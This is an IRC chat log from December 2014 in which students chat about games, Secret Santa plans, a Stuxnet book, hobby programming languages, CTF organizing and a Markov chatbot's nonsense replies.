[2014-12-17T23:44:36-0500] <@awe> Tamini: yeah, I'm sure you'd be happy about a box of condoms and a picture of me.
[2014-12-17T23:44:45-0500] <+Tamini> UH
[2014-12-17T23:44:49-0500] <+Tamini> IM NOT SURE WHAT THATS IMPLYING
[2014-12-17T23:45:09-0500] <jwoglom> lol what is happening here
[2014-12-17T23:45:12-0500] <nezorg> irc <3
[2014-12-17T23:45:22-0500] <+ubuntor> irc, iirc?
[2014-12-17T23:45:24-0500] <@awe> lol
[2014-12-17T23:45:29-0500] <+LittleBobbyTables> guys
[2014-12-17T23:45:33-0500] <+LittleBobbyTables> You all need to start playing DotA
[2014-12-17T23:45:38-0500] <+Tamini> you are
[2014-12-17T23:45:40-0500] <+Tamini> so not worth it
[2014-12-17T23:45:44-0500] <+LittleBobbyTables> wow
[2014-12-17T23:45:45-0500] <+LittleBobbyTables> thanks
[2014-12-17T23:46:01-0500] <nezorg> LittleBobbyTables: so many things to do, so little time
[2014-12-17T23:46:09-0500] <+Tamini> ^
[2014-12-17T23:46:14-0500] <+LittleBobbyTables> nezorg: new update makes Jakiro a sad dragon :(
[2014-12-17T23:46:24-0500] <+Tamini> oh, a bunch of my friends were talking about tha
[2014-12-17T23:46:24-0500] <+Tamini> t
[2014-12-17T23:47:11-0500] <nezorg> LittleBobbyTables: ah, I only glanced at the patch notes
[2014-12-17T23:47:26-0500] <nezorg> my school is mostly a league school :(
[2014-12-17T23:47:32-0500] <+LittleBobbyTables> Nothing TOO major
[2014-12-17T23:47:40-0500] <+Tamini> oh, wait
[2014-12-17T23:47:41-0500] <+Tamini> i forgot
[2014-12-17T23:47:42-0500] <+LittleBobbyTables> enchantress fastest hero, nerif stayed the same
[2014-12-17T23:47:47-0500] <+Tamini> nezorg is a DotA player.
[2014-12-17T23:47:49-0500] <+LittleBobbyTables> diffusal isn't an orb anymore
[2014-12-17T23:47:59-0500] <+LittleBobbyTables> Those are really the major things
[2014-12-17T23:48:03-0500] <@awe> I don't do competitive games.
[2014-12-17T23:48:07-0500] <+LittleBobbyTables> Illusions do 25% less to buildings.
[2014-12-17T23:48:17-0500] <+Tamini> awe: I don't do team-based competitive games.
[2014-12-17T23:48:28-0500] <+LittleBobbyTables> DotA isn't a team game
[2014-12-17T23:48:42-0500] <+LittleBobbyTables> It's a solo game that just happens to have 4 people that you can't attack and have the same goal as yourself.
[2014-12-17T23:48:42-0500] <@awe> LittleBobbyTables: wat?
[2014-12-17T23:48:53-0500] <@awe> I'm pretty sure that's not true.
[2014-12-17T23:48:57-0500] <+LittleBobbyTables> It really is
[2014-12-17T23:49:01-0500] <@awe> Maybe you're just bad at it.
[2014-12-17T23:49:04-0500] <+Tamini> ^
[2014-12-17T23:49:14-0500] <+LittleBobbyTables> Not even
[2014-12-17T23:49:21-0500] <nezorg> so how about that secret santa
[2014-12-17T23:49:21-0500] <+LittleBobbyTables> Top 0.1% of players pls
[2014-12-17T23:49:40-0500] <+LittleBobbyTables> nezorg: is my statement true? That it's not really a team game based on how pubs play?
[2014-12-17T23:49:51-0500] <@awe> That's because they're bad at it too.
[2014-12-17T23:50:01-0500] <nezorg> LittleBobbyTables: idk, I almost always play in parties
[2014-12-17T23:50:06-0500] <nezorg> and we really do work as a team
[2014-12-17T23:50:24-0500] <@awe> If you're not playing as a team it's because some or all of the players are bad.
[2014-12-17T23:50:33-0500] <+LittleBobbyTables> awe: pubs are heavily infected by the dunning kruger.
[2014-12-17T23:50:42-0500] <+LittleBobbyTables> They all want to play cores because they're all "better" than everyone else
[2014-12-17T23:50:56-0500] <+LittleBobbyTables> It's a solo game that happens to have people interested in the same goal as yourself.
[2014-12-17T23:50:58-0500] <+Tamini> nezorg: if we wana put this together, I'm up for it
[2014-12-17T23:51:08-0500] <nezorg> LittleBobbyTables: I usually play support when I'm pubbing alone :P
[2014-12-17T23:51:19-0500] <+LittleBobbyTables> It's why people suggest playing in parties, so you're at least somewhat guaranteed to get some coordination
[2014-12-17T23:51:28-0500] <+Tamini> except because LBT worries me, I'm getting a PO box address instead pls
[2014-12-17T23:51:36-0500] <+LittleBobbyTables> nezorg: what's your MMR?
[2014-12-17T23:51:41-0500] <+LittleBobbyTables> Tamini: waow.
[2014-12-17T23:51:49-0500] <+LittleBobbyTables> I should go get a PO box. That'd be helpful.
[2014-12-17T23:51:50-0500] <+Tamini> LittleBobbyTables: I've never met you irl! :O
[2014-12-17T23:51:56-0500] <+LittleBobbyTables> So?
[2014-12-17T23:51:58-0500] <+Tamini> you could be a 48-year old man!
[2014-12-17T23:52:10-0500] <nezorg> LittleBobbyTables: lol, never played ranked
[2014-12-17T23:52:19-0500] <+LittleBobbyTables> Stop making me olderTamini!
[2014-12-17T23:52:20-0500] <+Tamini> (also I told sdamasam that I sounded around 40 because I was sick, and he was like "you're lierally LittleBobbyTables?")
[2014-12-17T23:52:29-0500] <+LittleBobbyTables> wow, thanks
[2014-12-17T23:52:35-0500] <+Tamini> sam said it, not me <3
[2014-12-17T23:52:41-0500] <+LittleBobbyTables> You started it </3
[2014-12-17T23:52:49-0500] <nezorg> maybe I'm a 48-year-old man and just sent a decoy to csaw!
[2014-12-17T23:52:51-0500] <+Tamini> did i now
[2014-12-17T23:52:57-0500] <+Tamini> I thought jacob was
[2014-12-17T23:53:04-0500] <+Tamini> nezorg: and got your decoy to send me selfies too? :P
[2014-12-17T23:53:34-0500] <nezorg> Tamini: yup!
[2014-12-17T23:53:52-0500] <+LittleBobbyTables> Anyone have civ 5
[2014-12-17T23:54:31-0500] <+Tamini> nop
[2014-12-17T23:54:36-0500] <nezorg> LittleBobbyTables: I do
[2014-12-17T23:54:36-0500] <+Tamini> i heard it's not too great without expansions anyway
[2014-12-17T23:54:42-0500] <+LittleBobbyTables> Wanna play, nezorg?
[2014-12-17T23:55:36-0500] <nezorg> LittleBobbyTables: I've been neglecting homework all day and now have plenty to do :'(
[2014-12-17T23:55:45-0500] <+LittleBobbyTables> Yeah but, this distracts you for like
[2014-12-17T23:55:46-0500] <nezorg> Tamini: it's usually $12.50 w/ all expansions in a steam sale
[2014-12-17T23:55:47-0500] <+LittleBobbyTables> 8 hours
[2014-12-17T23:56:09-0500] <+Tamini> lol
[2014-12-17T23:56:13-0500] <+Tamini> LittleBobbyTables: wait until break :P
[2014-12-17T23:56:20-0500] <+LittleBobbyTables> I'm on break!
[2014-12-17T23:56:23-0500] <+Tamini> I'm 99% sure whoever has me for secret santa is going to be
[2014-12-17T23:56:30-0500] <+Tamini> a really lame person and just get me a steam gift card anyway
[2014-12-17T23:56:38-0500] <+Tamini> so I'll just play vidya all break
[2014-12-17T23:57:25-0500] <nezorg> Tamini: or they could not be a really lame person!
[2014-12-17T23:58:02-0500] <+Tamini> nezorg: statistically, they're probably not going to know what to get me
[2014-12-17T23:58:07-0500] <+Tamini> and all they're going to know is that I play vidya
[2014-12-17T23:58:30-0500] <+Tamini> I am literally known best for my mild addictions to coffee and video games ._.
[2014-12-17T23:58:39-0500] <nezorg> ...ooh, what kind of coffee?
[2014-12-17T23:58:45-0500] <+LittleBobbyTables> imma get you a pair of stilts, so you can at least see some things
[2014-12-17T23:59:13-0500] <+Tamini> LittleBobbyTables: that's not very nice. You've never even met me >.<
[2014-12-17T23:59:22-0500] <+LittleBobbyTables> But you're short
[2014-12-17T23:59:59-0500] <+Tamini> nezorg: well, I'll drink anything from super crappy mix coffee to like kopi luwak :O 
[2014-12-18T00:00:09-0500] <nezorg> :P
[2014-12-18T00:00:13-0500] <nezorg> I don't really drink coffee
[2014-12-18T00:00:16-0500] <+Tamini> (kopi luwak is SO SMOOTH OMG)
[2014-12-18T00:00:20-0500] <+Tamini> heh
[2014-12-18T00:00:26-0500] <+Tamini> how do you 1337haxor then
[2014-12-18T00:00:32-0500] <+Tamini> i thought coffee was like a requirement
[2014-12-18T00:00:37-0500] <+LittleBobbyTables> Do the Dew
[2014-12-18T00:00:56-0500] <nezorg> Tamini: well, I did develop a mild addiction during defcon finals :P
[2014-12-18T00:00:58-0500] <+Tamini> that's going to give you a heart attack someday
[2014-12-18T00:00:59-0500] <nezorg> but other than that
[2014-12-18T00:01:00-0500] <+Tamini> lol
[2014-12-18T00:01:02-0500] <nezorg> I'm mostly caffeine-free
[2014-12-18T00:01:12-0500] <+Tamini> ...oh.
[2014-12-18T00:01:12-0500] <+Tamini> wait
[2014-12-18T00:01:14-0500] <+Tamini> that makes sense
[2014-12-18T00:01:30-0500] <+Tamini> I've been falling asleep every day in class because I've been too lazy to get up early and make myself coffee...
[2014-12-18T00:01:44-0500] • nezorg: sighs
[2014-12-18T00:01:55-0500] <+LittleBobbyTables> Welcome to natural human sleep cycles, we're polyphasic sleepers!
[2014-12-18T00:02:06-0500] <jwoglom> Tamini: go to bed, get sleep, profit
[2014-12-18T00:02:08-0500] <nezorg> I asked for a bag to make cold brew in for christmas :3
[2014-12-18T00:02:37-0500] <alokpathy> Ew coffe
[2014-12-18T00:02:51-0500] <+Tamini> lol
[2014-12-18T00:03:27-0500] <+Tamini> I actually need to figure out what i want
[2014-12-18T00:03:28-0500] <alokpathy> I basically just drink milk in the morning.
[2014-12-18T00:03:37-0500] <+Tamini> I pushed off my birthday present for christmas
[2014-12-18T00:03:41-0500] <+Tamini> and I can't even figure out what i want for christmas
[2014-12-18T00:03:51-0500] <+Tamini> (also my sister sent me $50 for christmas, not sure how to feel)
[2014-12-18T00:03:52-0500] <alokpathy> What'd you ask Santa?
[2014-12-18T00:04:07-0500] <+Tamini> alokpathy: ability to do cs. :P that obviously didnt happen
[2014-12-18T00:04:23-0500] <alokpathy> Well it's not Christmas yet, so it might happen.
[2014-12-18T00:04:26-0500] <+LittleBobbyTables> But it's not christmas yet
[2014-12-18T00:04:28-0500] <nezorg> alokpathy: yay milk!
[2014-12-18T00:05:22-0500] <nezorg> you know what
[2014-12-18T00:05:28-0500] <nezorg> I'm just not going to do any homework today
[2014-12-18T00:05:34-0500] <nezorg> since it's all due friday, not tomorrow
[2014-12-18T00:05:45-0500] • nezorg: goes to read his stuxnet book
[2014-12-18T00:06:13-0500] <+Tamini> lol
[2014-12-18T00:06:21-0500] <+Tamini> hey, since you're free and its only 9pm there
[2014-12-18T00:06:24-0500] <alokpathy> You have a book on stuxnet?
[2014-12-18T00:06:27-0500] <+Tamini> why don't you plan our secret santa
[2014-12-18T00:06:29-0500] <+LittleBobbyTables> sooooo nezorg 
[2014-12-18T00:06:30-0500] <+LittleBobbyTables> wanna play civ
[2014-12-18T00:06:44-0500] <nezorg> alokpathy: "zero day" -- it's mostly non-technical but super interesting
[2014-12-18T00:06:50-0500] <+Tamini> oh whoa
[2014-12-18T00:06:52-0500] <+Tamini> nezorg: title?
[2014-12-18T00:07:00-0500] <nezorg> "zero day"
[2014-12-18T00:07:10-0500] <nezorg> by kim zetter
[2014-12-18T00:07:20-0500] <alokpathy> Hmmm
[2014-12-18T00:07:22-0500] <alokpathy> [considers]
[2014-12-18T00:07:26-0500] <nezorg> ...oh, "countdown to zero day"
[2014-12-18T00:07:27-0500] <nezorg> whoops
[2014-12-18T00:07:40-0500] <nezorg> "#1 Best Sellerin Nuclear Weapons & Warfare History" lol
[2014-12-18T00:08:05-0500] <+Tamini> oh, lol
[2014-12-18T00:08:51-0500] <nezorg> it talks a lot about iran's nuclear program
[2014-12-18T00:09:43-0500] <+ubuntor> hmm, sounds really interesting
[2014-12-18T00:09:59-0500] <nezorg> it is
[2014-12-18T00:17:57-0500] <+ubuntor> do you have more book recommendations?
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[2014-12-18T06:35:02-0500] <+JacobEdelman> @tell tamini I'll fail at arch with you, in a few weeks
[2014-12-18T06:35:02-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:36:21-0500] <+JacobEdelman> @tell hardmath123 I pushed the updates so it is pretty now
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[2014-12-18T06:36:32-0500] <+JacobEdelman> @tell hardmath123[zzz] I pushed the updates so lark is pretty now
[2014-12-18T06:36:32-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:36:39-0500] <+JacobEdelman> @tell hardmath123 (lark)
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[2014-12-18T06:41:06-0500] <+JacobEdelman> @tell awe My rust commit has been merged! I have now contributed to rust-lang!
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[2014-12-18T00:02:37-0500] <alokpathy> Ew coffe
[2014-12-18T00:02:51-0500] <+Tamini> lol
[2014-12-18T00:03:27-0500] <+Tamini> I actually need to figure out what i want
[2014-12-18T00:03:28-0500] <alokpathy> I basically just drink milk in the morning.
[2014-12-18T00:03:37-0500] <+Tamini> I pushed off my birthday present for christmas
[2014-12-18T00:03:41-0500] <+Tamini> and I can't even figure out what i want for christmas
[2014-12-18T00:03:51-0500] <+Tamini> (also my sister sent me $50 for christmas, not sure how to feel)
[2014-12-18T00:03:52-0500] <alokpathy> What'd you ask Santa?
[2014-12-18T00:04:07-0500] <+Tamini> alokpathy: ability to do cs. :P that obviously didnt happen
[2014-12-18T00:04:23-0500] <alokpathy> Well it's not Christmas yet, so it might happen.
[2014-12-18T00:04:26-0500] <+LittleBobbyTables> But it's not christmas yet
[2014-12-18T00:04:28-0500] <nezorg> alokpathy: yay milk!
[2014-12-18T00:05:22-0500] <nezorg> you know what
[2014-12-18T00:05:28-0500] <nezorg> I'm just not going to do any homework today
[2014-12-18T00:05:34-0500] <nezorg> since it's all due friday, not tomorrow
[2014-12-18T00:05:45-0500] • nezorg: goes to read his stuxnet book
[2014-12-18T00:06:13-0500] <+Tamini> lol
[2014-12-18T00:06:21-0500] <+Tamini> hey, since you're free and its only 9pm there
[2014-12-18T00:06:24-0500] <alokpathy> You have a book on stuxnet?
[2014-12-18T00:06:27-0500] <+Tamini> why don't you plan our secret santa
[2014-12-18T00:06:29-0500] <+LittleBobbyTables> sooooo nezorg 
[2014-12-18T00:06:30-0500] <+LittleBobbyTables> wanna play civ
[2014-12-18T00:06:44-0500] <nezorg> alokpathy: "zero day" -- it's mostly non-technical but super interesting
[2014-12-18T00:06:50-0500] <+Tamini> oh whoa
[2014-12-18T00:06:52-0500] <+Tamini> nezorg: title?
[2014-12-18T00:07:00-0500] <nezorg> "zero day"
[2014-12-18T00:07:10-0500] <nezorg> by kim zetter
[2014-12-18T00:07:20-0500] <alokpathy> Hmmm
[2014-12-18T00:07:22-0500] <alokpathy> [considers]
[2014-12-18T00:07:26-0500] <nezorg> ...oh, "countdown to zero day"
[2014-12-18T00:07:27-0500] <nezorg> whoops
[2014-12-18T00:07:39-0500] <nezorg> "#1 Best Sellerin Nuclear Weapons & Warfare History" lol
[2014-12-18T00:08:04-0500] <+Tamini> oh, lol
[2014-12-18T00:08:51-0500] <nezorg> it talks a lot about iran's nuclear program
[2014-12-18T00:09:43-0500] <+ubuntor> hmm, sounds really interesting
[2014-12-18T00:09:59-0500] <nezorg> it is
[2014-12-18T00:17:57-0500] <+ubuntor> do you have more book recommendations?
[2014-12-18T06:34:41-0500] <+JacobEdelman> mailbot, any messages>
[2014-12-18T06:34:42-0500] <+JacobEdelman> *?
[2014-12-18T06:34:45-0500] <+JacobEdelman> no, okay
[2014-12-18T06:35:02-0500] <+JacobEdelman> @tell tamini I'll fail at arch with you, in a few weeks
[2014-12-18T06:35:02-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:36:21-0500] <+JacobEdelman> @tell hardmath123 I pushed the updates so it is pretty now
[2014-12-18T06:36:21-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:36:31-0500] <+JacobEdelman> @tell hardmath123[zzz] I pushed the updates so lark is pretty now
[2014-12-18T06:36:31-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:36:39-0500] <+JacobEdelman> @tell hardmath123 (lark)
[2014-12-18T06:36:39-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T06:41:06-0500] <+JacobEdelman> @tell awe My rust commit has been merged! I have now contributed to rust-lang!
[2014-12-18T06:41:06-0500] <mailbot> JacobEdelman: I'll let them know!
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[2014-12-18T08:54:47-0500] <@awe> JacobEdelman: You committed a change to a comment with one word.
[2014-12-18T08:54:47-0500] <mailbot> awe: 2 hours ago, JacobEdelman said My rust commit has been merged! I have now contributed to rust-lang!
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[2014-12-18T09:03:04-0500] <+JacobEdelman> awe yes
[2014-12-18T09:03:13-0500] <+JacobEdelman> I know
[2014-12-18T09:03:15-0500] <+JacobEdelman> :P
[2014-12-18T09:03:27-0500] <+JacobEdelman> but I can still claim I made a contribution to rust now
[2014-12-18T09:04:25-0500] <@awe> But it's not a contribution to the langauge.
[2014-12-18T09:04:29-0500] <@awe> It's a contribution to docs.
[2014-12-18T09:04:35-0500] <+JacobEdelman> really?
[2014-12-18T09:04:40-0500] <+JacobEdelman> I thought the comment was in the language
[2014-12-18T09:05:55-0500] <+JacobEdelman> (like, in the actual files, not in docs)
[2014-12-18T09:06:05-0500] <+JacobEdelman> (I mean code, not files)
[2014-12-18T09:11:25-0500] <@awe> Well, sure.
[2014-12-18T09:11:29-0500] <@awe> But it's not the code.
[2014-12-18T09:11:37-0500] <@awe> A comment just tells people what's up.
[2014-12-18T09:11:41-0500] <@awe> So, it's inline documentation.
[2014-12-18T09:17:51-0500] <+JacobEdelman> eh
[2014-12-18T09:17:52-0500] <+JacobEdelman> I guess
[2014-12-18T09:17:53-0500] <+JacobEdelman> maybe
[2014-12-18T09:17:58-0500] <+JacobEdelman> whatever the case
[2014-12-18T09:18:08-0500] <+JacobEdelman> I've had a lot of fun building Spellbound
[2014-12-18T09:18:31-0500] <+JacobEdelman> *helping been build Spellbound
[2014-12-18T09:20:33-0500] <@awe> https://skillsmatter.com/skillscasts/6088-the-worst-programming-language-ever
[2014-12-18T09:27:34-0500] <@awe> https://github.com/BSLang/BS
[2014-12-18T09:33:14-0500] <@awe> JacobEdelman: this language has a feature perfect for you.
[2014-12-18T09:33:20-0500] <@awe> JacobEdelman: the macro language is a regex negine
[2014-12-18T09:33:29-0500] <@awe> JacobEdelman: so, you can mutate the syntax all you want with macros.
[2014-12-18T09:34:56-0500] <+The_Master> awe:Jacob knows about intercol
[2014-12-18T09:35:05-0500] <@awe> Not intercol.
[2014-12-18T09:35:12-0500] <@awe> He designed his own language, BS
[2014-12-18T09:35:17-0500] <@awe> The worst language ever. (TM)
[2014-12-18T09:35:24-0500] <@awe> (Except Jacob will claim that title)
[2014-12-18T09:36:31-0500] <+The_Master> (from the BS readme)BS Hates programmers
[2014-12-18T09:37:52-0500] <@awe> It's just like JacobEdelman!
[2014-12-18T09:37:57-0500] <@awe> JacobEdelman also hates programmers!
[2014-12-18T09:38:02-0500] <@awe> Also, lol.
[2014-12-18T09:38:07-0500] <@awe> C program took half a second.
[2014-12-18T09:38:17-0500] <@awe> Intercol program took 17 hours.
[2014-12-18T09:38:22-0500] <@awe> Exact same program.
[2014-12-18T09:41:36-0500] <+alokpathy> lololol
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[2014-12-18T09:54:38-0500] <@awe> The_Master: BS has to be written in Office 2003 files. :D
[2014-12-18T09:58:28-0500] <+The_Master> awe: you can create those with libre office?
[2014-12-18T09:59:03-0500] <@awe> So Libre Office is a good option for a BS IDE then.
[2014-12-18T10:08:15-0500] <+The_Master> maybe hsctf will have a section on it
[2014-12-18T10:25:44-0500] <+LittleBobbyTables> no.
[2014-12-18T10:31:40-0500] <+alokpathy> The_Master: not so sure about that
[2014-12-18T10:44:13-0500] <@awe> guys
[2014-12-18T10:44:22-0500] <@awe> should I change my username from aaronweiss74 to aatxe?
[2014-12-18T10:45:52-0500] <+JacobEdelman> also, the syntax isn't really properly mutable
[2014-12-18T10:46:07-0500] <+JacobEdelman> since the regex macros would probaly effect things even in strings
[2014-12-18T10:46:11-0500] <+JacobEdelman> unlike lark
[2014-12-18T10:46:15-0500] <+JacobEdelman> :P
[2014-12-18T10:46:23-0500] <+JacobEdelman> I support aaronweiss74
[2014-12-18T10:46:26-0500] <+JacobEdelman> not aatxe
[2014-12-18T10:46:30-0500] <+JacobEdelman> you've had it for a long time
[2014-12-18T10:46:35-0500] <+JacobEdelman> and it clearly shows who you are
[2014-12-18T10:46:53-0500] <@awe> JacobEdelman: no, the macros are syntax only, I think.
[2014-12-18T10:47:02-0500] <@awe> JacobEdelman: unless you make macros that effect strings which makes you evil.
[2014-12-18T10:47:14-0500] <@awe> aatxe is shorter though.
[2014-12-18T10:47:22-0500] <@awe> And I've been using awe everywhere that I can get it anyway.
[2014-12-18T11:23:19-0500] <@awe> JacobEdelman: twitter and github are now @aatxe
[2014-12-18T11:27:59-0500] <@awe> https://keybase.io/awe
[2014-12-18T11:28:02-0500] <@awe> I proved it on Keybase.
[2014-12-18T11:34:30-0500] <+JacobEdelman> oh, okay
[2014-12-18T11:36:17-0500] <+alokpathy> awe: Why aatxe?
[2014-12-18T11:39:20-0500] <+JacobEdelman> I have the advantage that I'm just jacobedelman everywhere
[2014-12-18T11:39:28-0500] <+JacobEdelman> (except where I can get jac)
[2014-12-18T11:52:41-0500] <@awe> alokpathy: It's concise, frequently unique, Basque culture is really cool, and I recently found out I'm Basque.
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[2014-12-18T12:17:10-0500] <+The_Master> alokpathy: I will be making problems... NO ONE can stop me MUHAHAHA!!!
[2014-12-18T12:38:06-0500] <+alokpathy> awe: Oh that sounds cool
[2014-12-18T12:38:27-0500] <+alokpathy> The_Master: Yeah, you can write problems.
[2014-12-18T12:38:40-0500] <+alokpathy> We won't necessarily put them on though.
[2014-12-18T12:41:06-0500] <+The_Master> next year you will not be there to stop me
[2014-12-18T12:47:52-0500] <+alokpathy> Except you might be on the organizing committee next year
[2014-12-18T12:50:10-0500] <@awe> alokpathy: might?
[2014-12-18T12:50:14-0500] <@awe> alokpathy: he definitely will be.
[2014-12-18T13:59:02-0500] <+alokpathy> Congratulations The_Master 
[2014-12-18T14:00:14-0500] <+alokpathy> You're unofficially on the HSCTF 2016 organizing committee
[2014-12-18T14:01:01-0500] <nezorg> https://ssl.redditgifts.com/marketplace/squishable-snoo/ waaaaaaaaaaant
[2014-12-18T14:01:39-0500] <+JacobEdelman> alokpathy: hsctf has mandatory nepotism
[2014-12-18T14:25:04-0500] <+JacobEdelman> awe: can I quote you in the lark reame?
[2014-12-18T14:25:21-0500] <+JacobEdelman> or should I list you as "awenonymous"
[2014-12-18T14:25:21-0500] <@awe> JacobEdelman: with saying what?
[2014-12-18T14:25:36-0500] <+JacobEdelman> https://www.irccloud.com/pastebin/GgXnNCRq
[2014-12-18T14:25:57-0500] <@awe> You can put my name on those quotes.
[2014-12-18T14:25:59-0500] <+JacobEdelman> its going to be in the "Praise?" section
[2014-12-18T14:26:00-0500] <+JacobEdelman> okay
[2014-12-18T14:26:01-0500] <+JacobEdelman> great
[2014-12-18T14:26:04-0500] <@awe> Cut out the "also"
[2014-12-18T14:26:14-0500] <@awe> First quote should be: "As far as I'm concerned, self-mutate is synonymous with self-mutilate in terms of a programming language's capabilities."
[2014-12-18T14:28:17-0500] <+JacobEdelman> okay
[2014-12-18T14:28:18-0500] <+JacobEdelman> done
[2014-12-18T14:29:12-0500] <+JacobEdelman> @tell hardmath123 is it okay if I quote you (as hardmath123) in the lark readme with "We need to force-feed JacobEdelman some JSLint." (its for a "Praise?" section)
[2014-12-18T14:29:12-0500] <mailbot> JacobEdelman: I'll let them know!
[2014-12-18T14:29:16-0500] <+JacobEdelman> @tell hardmath123[zzz] is it okay if I quote you (as hardmath123) in the lark readme with "We need to force-feed JacobEdelman some JSLint." (its for a "Praise?" section)
[2014-12-18T14:29:17-0500] <mailbot> JacobEdelman: I'll let them know!
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[2014-12-18T16:02:40-0500] <+The_Master> alokpathy: you won't be at north to stop me next year! MUHAHA!
[2014-12-18T16:03:41-0500] <@awe> I wish I could use a tiling WM with OS X.
[2014-12-18T16:05:17-0500] <+The_Master> @markov
[2014-12-18T16:05:41-0500] <+The_Master> awe: I need awebot! without @markov life has no meaning!
[2014-12-18T16:06:04-0500] <+alokpathy> This is true
[2014-12-18T16:06:23-0500] <@awe> lol
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[2014-12-18T16:08:18-0500] <@awe> @markov
[2014-12-18T16:08:25-0500] <+awebot> awe: Tamini I was there ? about and lists are writing past couple bucks..
[2014-12-18T16:08:31-0500] <+The_Master> @markov
[2014-12-18T16:08:32-0500] <+The_Master> @markov
[2014-12-18T16:08:38-0500] <+awebot> The_Master: Yeah, I guess it's hardly counts as you add FDs doesn't work, another dead code for $5 for strings to do multipart for teh lulz.
[2014-12-18T16:08:45-0500] <+awebot> The_Master: ...theres one receiver). Is it.
[2014-12-18T16:09:46-0500] <nezorg> @markov
[2014-12-18T16:09:52-0500] <+awebot> nezorg: I can't get anything exciting..
[2014-12-18T16:10:42-0500] <nezorg> @markov
[2014-12-18T16:10:49-0500] <+awebot> nezorg: awe: ok to do it enforceable. Any thoughts in my candy crush me..
[2014-12-18T16:11:18-0500] <@awe> O.
[2014-12-18T16:15:17-0500] <+The_Master> @markov
[2014-12-18T16:15:24-0500] <+awebot> The_Master: well that’s the same source" yet.
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[2014-12-18T16:43:48-0500] <+The_Master> @markov
[2014-12-18T16:43:55-0500] <+awebot> The_Master: Eh.
[2014-12-18T16:43:58-0500] <+The_Master> @markov
[2014-12-18T16:44:05-0500] <+awebot> The_Master: Inkrement: i think error with something i'm really liked.
[2014-12-18T16:44:10-0500] <+The_Master> @markov
[2014-12-18T16:44:17-0500] <+awebot> The_Master: wat.
[2014-12-18T16:44:20-0500] <+The_Master> @markov
[2014-12-18T16:44:23-0500] <@awe> nezorg: So, I heard a good explanation of the difference between choosing a language like Haskell and a language like JavaScript.
[2014-12-18T16:44:27-0500] <+awebot> The_Master: woah this.
[2014-12-18T16:45:05-0500] <@awe> nezorg: In the former, you spend a lot of time making something that builds and then it works. In the latter, you have to write 4x the amount of code in tests to know that your code works.
[2014-12-18T17:00:08-0500] <nezorg> whoever wanted BE, it's 40% off, as you're probably aware
[2014-12-18T17:00:50-0500] <@awe> LittleBobbyTables: ^
[2014-12-18T17:01:10-0500] <@awe> LittleBobbyTables: with all the money you just saved, you should buy me Starbound. ;)
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[2014-12-18T17:08:10-0500] <+JacobEdelman> @markov lark
[2014-12-18T17:08:17-0500] <+awebot> JacobEdelman: lark.
[2014-12-18T17:08:20-0500] <+JacobEdelman> ...
[2014-12-18T17:08:21-0500] <+JacobEdelman> @markov lark
[2014-12-18T17:08:28-0500] <+awebot> JacobEdelman: lark.
[2014-12-18T17:08:36-0500] <+JacobEdelman> @markov language
[2014-12-18T17:08:42-0500] <+awebot> JacobEdelman: language are correct or box Foo::new(); }.
[2014-12-18T17:08:45-0500] <+JacobEdelman> @markov language
[2014-12-18T17:08:52-0500] <+awebot> JacobEdelman: language isn't a penis in the type as well..
[2014-12-18T17:09:01-0500] <+JacobEdelman> ....
[2014-12-18T17:09:01-0500] <+JacobEdelman> awe
[2014-12-18T17:09:20-0500] <+JacobEdelman> your bot is a weird combination of dirty and a type system nerd
[2014-12-18T17:09:24-0500] <+JacobEdelman> quite like you actually
[2014-12-18T17:12:37-0500] <nezorg> anyone know what a penis in a type is?
[2014-12-18T17:13:23-0500] <@awe> JacobEdelman: lol
[2014-12-18T17:13:28-0500] <@awe> JacobEdelman: spot on.
[2014-12-18T17:13:41-0500] <@awe> [16:44:23]  <@awe>	nezorg: So, I heard a good explanation of the difference between choosing a language like Haskell and a language like JavaScript.
[2014-12-18T17:13:41-0500] <@awe> [16:45:05]  <@awe>	nezorg: In the former, you spend a lot of time making something that builds and then it works. In the latter, you have to write 4x the amount of code in tests to know that your code works.
[2014-12-18T17:13:42-0500] <@awe> JacobEdelman: ^
[2014-12-18T17:19:04-0500] <+JacobEdelman> what?, no, I never bother testing whether my code works :P
[2014-12-18T17:19:30-0500] <+JacobEdelman> @markov awe
[2014-12-18T17:19:37-0500] <+awebot> JacobEdelman: awe bot :P.
[2014-12-18T17:19:41-0500] <+JacobEdelman> ...
[2014-12-18T17:19:47-0500] <+JacobEdelman> also I pushed updates to lark
[2014-12-18T17:19:56-0500] <+JacobEdelman> it should now be reasonable looking
[2014-12-18T17:20:11-0500] <@awe> JacobEdelman: that's because you've never made anything more than like one hundred lines.
[2014-12-18T17:20:18-0500] <@awe> JacobEdelman: and/or you don't care about stuff working.
[2014-12-18T17:20:45-0500] <+JacobEdelman> what
[2014-12-18T17:20:51-0500] <+JacobEdelman> lark is ~400 lines
[2014-12-18T17:20:56-0500] <+JacobEdelman> and yes, I have had to write tests
[2014-12-18T17:20:59-0500] <+JacobEdelman> just not many
[2014-12-18T17:21:48-0500] <@awe> Lol.
[2014-12-18T17:21:49-0500] <@awe> ~400
[2014-12-18T17:21:51-0500] <@awe> and by that you mean
[2014-12-18T17:21:56-0500] <@awe> 100 lines of incomprehensible comments
[2014-12-18T17:21:58-0500] <@awe> and 300 lines of code
[2014-12-18T17:22:12-0500] <+JacobEdelman> hmmm.... yeah...
[2014-12-18T17:22:43-0500] <+JacobEdelman> well... the comments are somewhat comprehensible in exec_class.js and core_parser.js
[2014-12-18T17:22:52-0500] <+The_Master> awe: and by that you mean 300 lines of incomprehensible code.
[2014-12-18T17:23:00-0500] <+JacobEdelman> what, no!
[2014-12-18T17:23:03-0500] <+JacobEdelman> I cleaned it up
[2014-12-18T17:23:05-0500] <+JacobEdelman> its pretty now
[2014-12-18T17:23:13-0500] <+JacobEdelman> and exec_class.js is very pretty
[2014-12-18T17:23:30-0500] <@awe> Regardless, it's primarily comments.
[2014-12-18T17:23:34-0500] <@awe> Well, not primarily.
[2014-12-18T17:23:36-0500] <@awe> But majorly.
[2014-12-18T17:24:05-0500] <+JacobEdelman> a large amount is, thats true
[2014-12-18T17:24:10-0500] <+JacobEdelman> well, I like documenting code
[2014-12-18T17:24:22-0500] <+JacobEdelman> also
[2014-12-18T17:24:29-0500] <+JacobEdelman> Spellbound is like ~300 lines
[2014-12-18T17:24:50-0500] <@awe> It's not really useful documentation.
